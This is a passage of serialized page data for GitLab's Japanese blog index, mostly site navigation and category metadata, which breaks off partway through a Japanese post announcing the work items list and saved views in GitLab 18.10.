[{"data":1,"prerenderedAt":1242},["ShallowReactive",2],{"/ja-jp/blog":3,"navigation-ja-jp":19,"banner-ja-jp":418,"footer-ja-jp":428,"blogCategories-ja-jp":634,"relatedBlogPosts-ja-jp":779,"mainFeaturedPost-ja-jp":1194,"recentFeaturedPosts-ja-jp":1199,"recentPosts-ja-jp":1215},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":17,"testContent":6,"type":6,"__hash__":18},"pages/ja-jp/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab日本語公式ブログ","yml",{},true,"/ja-jp/blog",{"title":10,"description":16},"GitLab公式ブログ。DevSecOps、CI/CD、セキュリティ、アジャイル開発に関するチュートリアル、製品情報、エキスパートによる解説記事を配信中。","ja-jp/blog/index","DH1H-4zPDULD2DXiy0jUPRB0bQlJQmpeAEm4J8yG_rk",{"data":20},{"logo":21,"freeTrial":26,"sales":31,"login":36,"items":41,"search":349,"minimal":382,"duo":399,"pricingDeployment":408},{"config":22},{"href":23,"dataGaName":24,"dataGaLocation":25},"/ja-jp/","gitlab logo","header",{"text":27,"config":28},"無料トライアルを開始",{"href":29,"dataGaName":30,"dataGaLocation":25},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":32,"config":33},"お問い合わせ",{"href":34,"dataGaName":35,"dataGaLocation":25},"/ja-jp/sales/","sales",{"text":37,"config":38},"サインイン",{"href":39,"dataGaName":40,"dataGaLocation":25},"https://gitlab.com/users/sign_in/","sign in",[42,69,165,170,271,331],{"text":43,"config":44,"cards":46},"プラットフォーム",{"dataNavLevelOne":45},"platform",[47,53,61],{"title":43,"description":48,"link":49},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":50,"config":51},"プラットフォームを詳しく見る",{"href":52,"dataGaName":45,"dataGaLocation":25},"/ja-jp/platform/",{"title":54,"description":55,"link":56},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":57,"config":58},"GitLab Duoのご紹介",{"href":59,"dataGaName":60,"dataGaLocation":25},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":62,"description":63,"link":64},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":65,"config":66},"詳細はこちら",{"href":67,"dataGaName":68,"dataGaLocation":25},"/ja-jp/why-gitlab/","why gitlab",{"text":70,"left":13,"config":71,"link":73,"lists":77,"footer":147},"製品",{"dataNavLevelOne":72},"solutions",{"text":74,"config":75},"すべてのソリューションを表示",{"href":76,"dataGaName":72,"dataGaLocation":25},"/ja-jp/solutions/",[78,103,125],{"title":79,"description":80,"link":81,"items":86},"自動化","CI/CDと自動化でデプロイを加速",{"config":82},{"icon":83,"href":84,"dataGaName":85,"dataGaLocation":25},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[87,91,94,99],{"text":88,"config":89},"CI/CD",{"href":90,"dataGaLocation":25,"dataGaName":88},"/ja-jp/solutions/continuous-integration/",{"text":54,"config":92},{"href":59,"dataGaLocation":25,"dataGaName":93},"gitlab duo agent platform - product menu",{"text":95,"config":96},"ソースコード管理",{"href":97,"dataGaLocation":25,"dataGaName":98},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":100,"config":101},"自動化されたソフトウェアデリバリー",{"href":84,"dataGaLocation":25,"dataGaName":102},"Automated software delivery",{"title":104,"description":105,"link":106,"items":111},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":107},{"href":108,"dataGaName":109,"dataGaLocation":25,"icon":110},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[112,116,121],{"text":113,"config":114},"Application Security Testing",{"href":108,"dataGaName":115,"dataGaLocation":25},"Application security testing",{"text":117,"config":118},"ソフトウェアサプライチェーンの安全性",{"href":119,"dataGaLocation":25,"dataGaName":120},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":122,"config":123},"Software Compliance",{"href":124,"dataGaName":122,"dataGaLocation":25},"/ja-jp/solutions/software-compliance/",{"title":126,"link":127,"items":132},"測定",{"config":128},{"icon":129,"href":130,"dataGaName":131,"dataGaLocation":25},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[133,137,142],{"text":134,"config":135},"可視性と測定",{"href":130,"dataGaLocation":25,"dataGaName":136},"Visibility and Measurement",{"text":138,"config":139},"バリューストリーム管理",{"href":140,"dataGaLocation":25,"dataGaName":141},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":143,"config":144},"分析とインサイト",{"href":145,"dataGaLocation":25,"dataGaName":146},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":148,"items":149},"GitLabが活躍する場所",[150,155,160],{"text":151,"config":152},"Enterprise",{"href":153,"dataGaLocation":25,"dataGaName":154},"/ja-jp/enterprise/","enterprise",{"text":156,"config":157},"スモールビジネス",{"href":158,"dataGaLocation":25,"dataGaName":159},"/ja-jp/small-business/","small business",{"text":161,"config":162},"公共機関",{"href":163,"dataGaLocation":25,"dataGaName":164},"/ja-jp/solutions/public-sector/","public sector",{"text":166,"config":167},"価格",{"href":168,"dataGaName":169,"dataGaLocation":25,"dataNavLevelOne":169},"/ja-jp/pricing/","pricing",{"text":171,"config":172,"link":174,"lists":178,"feature":258},"関連リソース",{"dataNavLevelOne":173},"resources",{"text":175,"config":176},"すべてのリソースを表示",{"href":177,"dataGaName":173,"dataGaLocation":25},"/ja-jp/resources/",[179,212,230],{"title":180,"items":181},"はじめに",[182,187,192,197,202,207],{"text":183,"config":184},"インストール",{"href":185,"dataGaName":186,"dataGaLocation":25},"/ja-jp/install/","install",{"text":188,"config":189},"クイックスタートガイド",{"href":190,"dataGaName":191,"dataGaLocation":25},"/ja-jp/get-started/","quick setup checklists",{"text":193,"config":194},"学ぶ",{"href":195,"dataGaLocation":25,"dataGaName":196},"https://university.gitlab.com/","learn",{"text":198,"config":199},"製品ドキュメント",{"href":200,"dataGaName":201,"dataGaLocation":25},"https://docs.gitlab.com/","product documentation",{"text":203,"config":204},"ベストプラクティスビデオ",{"href":205,"dataGaName":206,"dataGaLocation":25},"/ja-jp/getting-started-videos/","best practice videos",{"text":208,"config":209},"インテグレーション",{"href":210,"dataGaName":211,"dataGaLocation":25},"/ja-jp/integrations/","integrations",{"title":213,"items":214},"検索する",[215,220,225],{"text":216,"config":217},"お客様成功事例",{"href":218,"dataGaName":219,"dataGaLocation":25},"/ja-jp/customers/","customer success stories",{"text":221,"config":222},"ブログ",{"href":223,"dataGaName":224,"dataGaLocation":25},"/ja-jp/blog/","blog",{"text":226,"config":227},"リモート",{"href":228,"dataGaName":229,"dataGaLocation":25},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":231,"items":232},"つなげる",[233,238,243,248,253],{"text":234,"config":235},"GitLabサービス",{"href":236,"dataGaName":237,"dataGaLocation":25},"/ja-jp/services/","services",{"text":239,"config":240},"コミュニティ",{"href":241,"dataGaName":242,"dataGaLocation":25},"/community/","community",{"text":244,"config":245},"フォーラム",{"href":246,"dataGaName":247,"dataGaLocation":25},"https://forum.gitlab.com/","forum",{"text":249,"config":250},"イベント",{"href":251,"dataGaName":252,"dataGaLocation":25},"/events/","events",{"text":254,"config":255},"パートナー",{"href":256,"dataGaName":257,"dataGaLocation":25},"/ja-jp/partners/","partners",{"backgroundColor":259,"textColor":260,"text":261,"image":262,"link":266},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":263,"config":264},"ソースプロモカード",{"src":265},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":267,"config":268},"最新情報を読む",{"href":269,"dataGaName":270,"dataGaLocation":25},"/ja-jp/the-source/","the source",{"text":272,"config":273,"lists":275},"会社情報",{"dataNavLevelOne":274},"company",[276],{"items":277},[278,283,289,291,296,301,306,311,316,321,326],{"text":279,"config":280},"GitLabについて",{"href":281,"dataGaName":282,"dataGaLocation":25},"/ja-jp/company/","about",{"text":284,"config":285,"footerGa":288},"採用情報",{"href":286,"dataGaName":287,"dataGaLocation":25},"/jobs/","jobs",{"dataGaName":287},{"text":249,"config":290},{"href":251,"dataGaName":252,"dataGaLocation":25},{"text":292,"config":293},"経営陣",{"href":294,"dataGaName":295,"dataGaLocation":25},"/company/team/e-group/","leadership",{"text":297,"config":298},"チーム",{"href":299,"dataGaName":300,"dataGaLocation":25},"/company/team/","team",{"text":302,"config":303},"ハンドブック",{"href":304,"dataGaName":305,"dataGaLocation":25},"https://handbook.gitlab.com/","handbook",{"text":307,"config":308},"投資家向け情報",{"href":309,"dataGaName":310,"dataGaLocation":25},"https://ir.gitlab.com/","investor relations",{"text":312,"config":313},"トラストセンター",{"href":314,"dataGaName":315,"dataGaLocation":25},"/ja-jp/security/","trust center",{"text":317,"config":318},"AI Transparency Center",{"href":319,"dataGaName":320,"dataGaLocation":25},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":322,"config":323},"ニュースレター",{"href":324,"dataGaName":325,"dataGaLocation":25},"/company/contact/#contact-forms","newsletter",{"text":327,"config":328},"プレス",{"href":329,"dataGaName":330,"dataGaLocation":25},"/press/","press",{"text":32,"config":332,"lists":333},{"dataNavLevelOne":274},[334],{"items":335},[336,339,344],{"text":32,"config":337},{"href":34,"dataGaName":338,"dataGaLocation":25},"talk to sales",{"text":340,"config":341},"サポートポータル",{"href":342,"dataGaName":343,"dataGaLocation":25},"https://support.gitlab.com","support portal",{"text":345,"config":346},"カスタマーポータル",{"href":347,"dataGaName":348,"dataGaLocation":25},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":350,"login":351,"suggestions":358},"閉じる",{"text":352,"link":353},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":354,"config":355},"GitLab.com",{"href":39,"dataGaName":356,"dataGaLocation":357},"search login","search",{"text":359,"default":360},"提案",[361,363,368,370,374,378],{"text":54,"config":362},{"href":59,"dataGaName":54,"dataGaLocation":357},{"text":364,"config":365},"コード提案（AI）",{"href":366,"dataGaName":367,"dataGaLocation":357},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":88,"config":369},{"href":90,"dataGaName":88,"dataGaLocation":357},{"text":371,"config":372},"GitLab on AWS",{"href":373,"dataGaName":371,"dataGaLocation":357},"/ja-jp/partners/technology-partners/aws/",{"text":375,"config":376},"GitLab on Google Cloud",{"href":377,"dataGaName":375,"dataGaLocation":357},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":379,"config":380},"GitLabを選ぶ理由",{"href":67,"dataGaName":381,"dataGaLocation":357},"Why GitLab?",{"freeTrial":383,"mobileIcon":387,"desktopIcon":392,"secondaryButton":395},{"text":27,"config":384},{"href":385,"dataGaName":30,"dataGaLocation":386},"https://gitlab.com/-/trials/new/","nav",{"altText":388,"config":389},"GitLabアイコン",{"src":390,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":388,"config":393},{"src":394,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":180,"config":396},{"href":397,"dataGaName":398,"dataGaLocation":386},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":400,"mobileIcon":404,"desktopIcon":406},{"text":401,"config":402},"GitLab Duoの詳細について",{"href":59,"dataGaName":403,"dataGaLocation":386},"gitlab duo",{"altText":388,"config":405},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":407},{"src":394,"dataGaName":391,"dataGaLocation":386},{"freeTrial":409,"mobileIcon":414,"desktopIcon":416},{"text":410,"config":411},"料金ページに戻る",{"href":168,"dataGaName":412,"dataGaLocation":386,"icon":413},"back to pricing","GoBack",{"altText":388,"config":415},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":417},{"src":394,"dataGaName":391,"dataGaLocation":386},{"title":419,"button":420,"config":425},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":421,"config":422},"GitLab Transcendを今すぐ視聴",{"href":423,"dataGaName":424,"dataGaLocation":25},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":426,"icon":427,"disabled":13},"release","AiStar",{"data":429},{"text":430,"source":431,"edit":437,"contribute":442,"config":447,"items":452,"minimal":626},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":432,"config":433},"ページのソースを表示",{"href":434,"dataGaName":435,"dataGaLocation":436},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":438,"config":439},"このページを編集",{"href":440,"dataGaName":441,"dataGaLocation":436},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":443,"config":444},"ご協力をお願いします",{"href":445,"dataGaName":446,"dataGaLocation":436},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":448,"facebook":449,"youtube":450,"linkedin":451},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[453,476,530,560,595],{"title":43,"links":454,"subMenu":459},[455],{"text":456,"config":457},"DevSecOpsプラットフォーム",{"href":52,"dataGaName":458,"dataGaLocation":436},"devsecops platform",[460],{"title":166,"links":461},[462,466,471],{"text":463,"config":464},"プランの表示",{"href":168,"dataGaName":465,"dataGaLocation":436},"view plans",{"text":467,"config":468},"Premiumを選ぶ理由",{"href":469,"dataGaName":470,"dataGaLocation":436},"/ja-jp/pricing/premium/","why premium",{"text":472,"config":473},"Ultimateを選ぶ理由",{"href":474,"dataGaName":475,"dataGaLocation":436},"/ja-jp/pricing/ultimate/","why ultimate",{"title":477,"links":478},"ソリューション",[479,484,487,489,494,499,503,506,509,514,516,518,520,525],{"text":480,"config":481},"デジタルトランスフォーメーション",{"href":482,"dataGaName":483,"dataGaLocation":436},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":485,"config":486},"セキュリティとコンプライアンス",{"href":108,"dataGaName":115,"dataGaLocation":436},{"text":100,"config":488},{"href":84,"dataGaName":85,"dataGaLocation":436},{"text":490,"config":491},"アジャイル開発",{"href":492,"dataGaName":493,"dataGaLocation":436},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":495,"config":496},"クラウドトランスフォーメーション",{"href":497,"dataGaName":498,"dataGaLocation":436},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":500,"config":501},"SCM",{"href":97,"dataGaName":502,"dataGaLocation":436},"source code management",{"text":88,"config":504},{"href":90,"dataGaName":505,"dataGaLocation":436},"continuous integration & delivery",{"text":138,"config":507},{"href":140,"dataGaName":508,"dataGaLocation":436},"value stream management",{"text":510,"config":511},"GitOps",{"href":512,"dataGaName":513,"dataGaLocation":436},"/ja-jp/solutions/gitops/","gitops",{"text":151,"config":515},{"href":153,"dataGaName":154,"dataGaLocation":436},{"text":156,"config":517},{"href":158,"dataGaName":159,"dataGaLocation":436},{"text":161,"config":519},{"href":163,"dataGaName":164,"dataGaLocation":436},{"text":521,"config":522},"教育",{"href":523,"dataGaName":524,"dataGaLocation":436},"/ja-jp/solutions/education/","education",{"text":526,"config":527},"金融サービス",{"href":528,"dataGaName":529,"dataGaLocation":436},"/ja-jp/solutions/finance/","financial services",{"title":171,"links":531},[532,534,536,538,541,543,546,548,550,552,554,556,558],{"text":183,"config":533},{"href":185,"dataGaName":186,"dataGaLocation":436},{"text":188,"config":535},{"href":190,"dataGaName":191,"dataGaLocation":436},{"text":193,"config":537},{"href":195,"dataGaName":196,"dataGaLocation":436},{"text":198,"config":539},{"href":200,"dataGaName":540,"dataGaLocation":436},"docs",{"text":221,"config":542},{"href":223,"dataGaName":224},{"text":544,"config":545},"お客様の成功事例",{"href":218,"dataGaLocation":436},{"text":216,"config":547},{"href":218,"dataGaName":219,"dataGaLocation":436},{"text":226,"config":549},{"href":228,"dataGaName":229,"dataGaLocation":436},{"text":234,"config":551},{"href":236,"dataGaName":237,"dataGaLocation":436},{"text":239,"config":553},{"href":241,"dataGaName":242,"dataGaLocation":436},{"text":244,"config":555},{"href":246,"dataGaName":247,"dataGaLocation":436},{"text":249,"config":557},{"href":251,"dataGaName":252,"dataGaLocation":436},{"text":254,"config":559},{"href":256,"dataGaName":257,"dataGaLocation":436},{"title":561,"links":562},"Company",[563,565,567,569,571,573,575,579,584,586,588,590],{"text":279,"config":564},{"href":281,"dataGaName":274,"dataGaLocation":436},{"text":284,"config":566},{"href":286,"dataGaName":287,"dataGaLocation":436},{"text":292,"config":568},{"href":294,"dataGaName":295,"dataGaLocation":436},{"text":297,"config":570},{"href":299,"dataGaName":300,"dataGaLocation":436},{"text":302,"config":572},{"href":304,"dataGaName":305,"dataGaLocation":436},{"text":307,"config":574},{"href":309,"dataGaName":310,"dataGaLocation":436},{"text":576,"config":577},"Sustainability",{"href":578,"dataGaName":576,"dataGaLocation":436},"/sustainability/",{"text":580,"config":581},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":582,"dataGaName":583,"dataGaLocation":436},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":312,"config":585},{"href":314,"dataGaName":315,"dataGaLocation":436},{"text":322,"config":587},{"href":324,"dataGaName":325,"dataGaLocation":436},{"text":327,"config":589},{"href":329,"dataGaName":330,"dataGaLocation":436},{"text":591,"config":592},"現代奴隷制の透明性に関する声明",{"href":593,"dataGaName":594,"dataGaLocation":436},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":32,"links":596},[597,599,604,606,611,616,621],{"text":32,"config":598},{"href":34,"dataGaName":35,"dataGaLocation":436},{"text":600,"config":601},"サポートを受ける",{"href":602,"dataGaName":603,"dataGaLocation":436},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":345,"config":605},{"href":347,"dataGaName":348,"dataGaLocation":436},{"text":607,"config":608},"ステータス",{"href":609,"dataGaName":610,"dataGaLocation":436},"https://status.gitlab.com/","status",{"text":612,"config":613},"利用規約",{"href":614,"dataGaName":615,"dataGaLocation":436},"/terms/","terms of use",{"text":617,"config":618},"プライバシーに関する声明",{"href":619,"dataGaName":620,"dataGaLocation":436},"/ja-jp/privacy/","privacy statement",{"text":622,"config":623},"Cookieの設定",{"dataGaName":624,"dataGaLocation":436,"id":625,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"items":627},[628,630,632],{"text":612,"config":629},{"href":614,"dataGaName":615,"dataGaLocation":436},{"text":617,"config":631},{"href":619,"dataGaName":620,"dataGaLocation":436},{"text":622,"config":633},{"dataGaName":624,"dataGaLocation":436,"id":625,"isOneTrustButton":13},[635,650,663,676,689,702,715,728,741,753,765],{"id":636,"title":637,"body":6,"category":6,"config":638,"content":642,"description":6,"extension":11,"meta":644,"navigation":13,"path":645,"seo":646,"slug":6,"stem":648,"testContent":6,"type":6,"__hash__":649},"blogCategories/ja-jp/blog/categories/agile-planning.yml","Agile Planning",{"template":639,"slug":640,"hide":641},"BlogCategory","agile-planning",false,{"name":643},"アジャイル計画",{},"/ja-jp/blog/categories/agile-planning",{"title":643,"description":647},"Browse articles related to アジャイル計画 on the GitLab Blog","ja-jp/blog/categories/agile-planning","3XMGWxFID4Xn7Zb7VG5t2ErvQiOZyEA8qGjj9AZnkUc",{"id":651,"title":652,"body":6,"category":6,"config":653,"content":655,"description":6,"extension":11,"meta":657,"navigation":13,"path":658,"seo":659,"slug":6,"stem":661,"testContent":6,"type":6,"__hash__":662},"blogCategories/ja-jp/blog/categories/ai-ml.yml","Ai Ml",{"template":639,"slug":654,"hide":641},"ai-ml",{"name":656},"AIと機械学習",{},"/ja-jp/blog/categories/ai-ml",{"title":656,"description":660},"Browse articles related to AIと機械学習 on the GitLab Blog","ja-jp/blog/categories/ai-ml","jG8GFqwOpXrztyTsaopr9C1P8WFUG5S3gcnAG80ISE8",{"id":664,"title":665,"body":6,"category":6,"config":666,"content":668,"description":6,"extension":11,"meta":670,"navigation":13,"path":671,"seo":672,"slug":6,"stem":674,"testContent":6,"type":6,"__hash__":675},"blogCategories/ja-jp/blog/categories/bulletin-board.yml","Bulletin Board",{"template":639,"slug":667,"hide":641},"bulletin-board",{"name":669},"掲示板",{},"/ja-jp/blog/categories/bulletin-board",{"title":669,"description":673},"Browse articles related to 掲示板 on the GitLab Blog","ja-jp/blog/categories/bulletin-board","MCS_b-O2cABvp9xxJ-YiiNBeq8NPH1SWUDEpRA2FMvY",{"id":677,"title":678,"body":6,"category":6,"config":679,"content":681,"description":6,"extension":11,"meta":683,"navigation":13,"path":684,"seo":685,"slug":6,"stem":687,"testContent":6,"type":6,"__hash__":688},"blogCategories/ja-jp/blog/categories/customer-stories.yml","Customer Stories",{"template":639,"slug":680,"hide":641},"customer-stories",{"name":682},"お客様事例",{},"/ja-jp/blog/categories/customer-stories",{"title":682,"description":686},"Browse articles related to お客様事例 on the GitLab Blog","ja-jp/blog/categories/customer-stories","lGVL4JgeCQ2qcti0wiiHR18KAnwiYgSBJ79UeuKh46U",{"id":690,"title":691,"body":6,"category":6,"config":692,"content":694,"description":6,"extension":11,"meta":696,"navigation":13,"path":697,"seo":698,"slug":6,"stem":700,"testContent":6,"type":6,"__hash__":701},"blogCategories/ja-jp/blog/categories/devsecops.yml","Devsecops",{"template":639,"slug":693,"hide":641},"devsecops",{"name":695},"DevSecOps",{},"/ja-jp/blog/categories/devsecops",{"title":695,"description":699},"Browse articles related to DevSecOps on the GitLab Blog","ja-jp/blog/categories/devsecops","PnENGBCysjZBR9hTtQiP2ai_Fl_1S4liCpNVrKHG714",{"id":703,"title":704,"body":6,"category":6,"config":705,"content":707,"description":6,"extension":11,"meta":709,"navigation":13,"path":710,"seo":711,"slug":6,"stem":713,"testContent":6,"type":6,"__hash__":714},"blogCategories/ja-jp/blog/categories/engineering.yml","Engineering",{"template":639,"slug":706,"hide":641},"engineering",{"name":708},"エンジニアリング",{},"/ja-jp/blog/categories/engineering",{"title":708,"description":712},"Browse articles related to エンジニアリング on the GitLab Blog","ja-jp/blog/categories/engineering","SP1p0HNY-4BlLIVgrET9_T9CAStAMizH3Ee46PrhOa0",{"id":716,"title":717,"body":6,"category":6,"config":718,"content":720,"description":6,"extension":11,"meta":722,"navigation":13,"path":723,"seo":724,"slug":6,"stem":726,"testContent":6,"type":6,"__hash__":727},"blogCategories/ja-jp/blog/categories/news.yml","News",{"template":639,"slug":719,"hide":641},"news",{"name":721},"ニュース",{},"/ja-jp/blog/categories/news",{"title":721,"description":725},"Browse articles related to ニュース on the GitLab Blog","ja-jp/blog/categories/news","rAtdE3wLr8GCjTriOnwwNVbk-lwcHv7Hr8-ThDV-7Yk",{"id":729,"title":730,"body":6,"category":6,"config":731,"content":733,"description":6,"extension":11,"meta":735,"navigation":13,"path":736,"seo":737,"slug":6,"stem":739,"testContent":6,"type":6,"__hash__":740},"blogCategories/ja-jp/blog/categories/open-source.yml","Open Source",{"template":639,"slug":732,"hide":641},"open-source",{"name":734},"オープンソース",{},"/ja-jp/blog/categories/open-source",{"title":734,"description":738},"Browse articles related to オープンソース on the GitLab Blog","ja-jp/blog/categories/open-source","LCQ49rG9L1fAIcDY77l5gbBeJfk0jZDAh6RiQm8iSEw",{"id":742,"title":743,"body":6,"category":6,"config":744,"content":746,"description":6,"extension":11,"meta":747,"navigation":13,"path":748,"seo":749,"slug":6,"stem":751,"testContent":6,"type":6,"__hash__":752},"blogCategories/ja-jp/blog/categories/product.yml","Product",{"template":639,"slug":745,"hide":641},"product",{"name":70},{},"/ja-jp/blog/categories/product",{"title":70,"description":750},"Browse articles related to 製品 on the GitLab Blog","ja-jp/blog/categories/product","T5gPLT0EKa55oFAhzMvgYqcDzsDivjGj_s2lEGUoVSw",{"id":754,"title":755,"body":6,"category":6,"config":756,"content":758,"description":6,"extension":11,"meta":759,"navigation":13,"path":760,"seo":761,"slug":6,"stem":763,"testContent":6,"type":6,"__hash__":764},"blogCategories/ja-jp/blog/categories/security.yml","Security",{"template":639,"slug":757,"hide":641},"security",{"name":104},{},"/ja-jp/blog/categories/security",{"title":104,"description":762},"Browse articles related to セキュリティ on the GitLab Blog","ja-jp/blog/categories/security","NurKrti9U9DuY3QiqXnIttJSyKF0TC_mNZTQ_Le6Yek",{"id":766,"title":767,"body":6,"category":6,"config":768,"content":770,"description":6,"extension":11,"meta":773,"navigation":13,"path":774,"seo":775,"slug":6,"stem":777,"testContent":6,"type":6,"__hash__":778},"blogCategories/ja-jp/blog/categories/security-labs.yml","Security Labs",{"template":639,"isCustomCategory":13,"slug":769,"hide":641},"security-labs",{"name":771,"description":772},"セキュリティリサーチ","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.",{},"/ja-jp/blog/categories/security-labs",{"title":771,"description":776},"Browse articles related to セキュリティリサーチ on the GitLab Blog","ja-jp/blog/categories/security-labs","-X8QcedzdzVRaFBAA3gmxbVhS6zVmEJT1EYG7gUnsgc",[780,825,868,907,945,980,1023,1059,1097,1129,1166],{"category":643,"slug":640,"posts":781},[782,798,812],{"content":783,"config":795},{"heroImage":784,"body":785,"authors":786,"updatedDate":788,"date":789,"title":790,"tags":791,"description":794,"category":640},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png","GitLabのアジャイル計画体験が大幅に強化されます。 GitLab 18.10から導入される新しいワークアイテムリストと保存済みビューにより、長年要望の多かった2つの機能が実現します。すべてのワークアイテムタイプを一覧表示する統合リストと、カスタマイズしたリスト設定を保存して再利用できる保存済みビューです。\n\nこれらの機能により、以下のことが可能になります。\n\n* 日常のワークフローにおいて繰り返し設定する必要のあったフィルター設定が不要になります\n* チーム全体が統一された方法で作業を確認・評価できます\n* 標準化されたレポート作成やステータス確認が容易になります\n\n## ワークアイテムとは？\n\nこれまで、エピックとイシューはそれぞれ別のリストページに存在していたため、ユーザーはページ間を行き来する必要がありました。ワークアイテムリストは、エピック・イシューをはじめとするすべてのワークアイテムタイプを単一の統合リストにまとめ、異なるワークアイテムタイプごとにページを切り替える手間をなくします。\n\nこの機能は、今後提供予定のより高度な計画機能の基盤でもあります。すべてのワークアイテムタイプを一か所に集約することで、エピック・イシューなどのアイテム間の関係性や構造を一目で把握できる階層ビュー（テーブルビューなど）の実現への道が開かれます。\n\nリストビューや階層ビューにとどまらず、ボードなどの他の一般的なワークフローもこの統合された体験に組み込んでいく予定です。その結果、計画に必要なすべてのビューが一か所に集まり、保存済みビューを通じてチームと共有できるようになります。製品の異なる部分をまたいで移動する必要はなくなります。\n\nなぜ「イシュー」ではなく「ワークアイテム」と呼ぶのか、疑問に思われるかもしれません。簡単に言うと、「イシュー」という言葉は今後の展開に対応できないからです。近い将来、ワークアイテムタイプは、その名称も含めて自由に設定し、組織のプランニング階層に合わせてカスタマイズできるようになります。既存の名称に縛られた体験では、その柔軟性が損なわれてしまいます。「ワークアイテム」は、独自の裁量で作成できるモデルの基盤となる概念です。\n\n![ワークアイテムリストのビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/ae9ugijwjsyv3ktiks0n.png)\n\n## ワークアイテムへの移行の背景は？\n\n2024年、私たちはワークアイテムフレームワークを基盤とした[GitLabにおける新しいアジャイル計画体験のビジョン](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/)を発表しました。その記事では、エピックとイシューが別々の体験として存在していたため、計画オブジェクト全体で一貫した機能を期待するチームとは齟齬が生じていたという核心的な問題を説明しました。その解決策といして登場したのがワークアイテムフレームワークです。一貫性を実現し、GitLabの計画ツール全体で新たな機能を実現可能にするために設計された統合アーキテクチャです。ワークアイテムリストと保存済みビューは、その道のりにおける一歩です。\n\n## 保存済みビューとは？\n\n保存済みビューを使用すると、フィルター・並び替え順・表示オプションを含むカスタマイズされたリスト設定を保存し、後から呼び出すことができます。日常的な確認作業を効率化し、チーム全体で一貫した標準的な作業確認方法をサポートすることを目的としています。\n\n![Saved view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/izmg27ckskpkdofgvonr.png)\n\n## 今後の展望\n\nGitLabが行っている変更の理由を理解するには、GitLabが目指す先をイメージしていただくことが助けになります。\n\n目標は単なるワークアイテムリストではありません。現在のフィルタースコープを保持しながら、さまざまなビュータイプ（リスト・ボード・テーブルなど）をスムーズに切り替えられる計画体験の実現です。\n\nそこに保存済みビューを組み合わせることで、各ワークフロー専用のビューを作成できます。イテレーションプランニング、バックログリファインメント、ネストされたテーブルビューを使ったポートフォリオレベルの計画など、さまざまな用途に対応します。\n\n各ビューはすぐに使える状態で、フィルタリングや作業の表示方法が統一されており、チームと共有することができます。このフレームワークは、ボードのあらゆるワークアイテム属性に対するフルスイムレーンサポートなど、今後のより強力な機能実現への道も開きます。\n\n日々使用しているツールの変更が、作業の妨げになることは十分に理解しています。既存のエピックおよびイシューリストページを中心としたワークフローを構築されている場合、見た目や使い心地は変わるでしょう。決してその点を軽く考えているわけではありません。\n\nこの方針は短期間で決めたものではありません。長年にわたるフィードバック、ワークアイテムフレームワークへの多大なアーキテクチャ投資、そして統合された体験が長期的にチームをより良くサポートできるという確信を反映したものです。移行には慣れが必要だと思いますが、皆さまのご意見をもとに継続的に改善を重ねてまいります。\n\n## 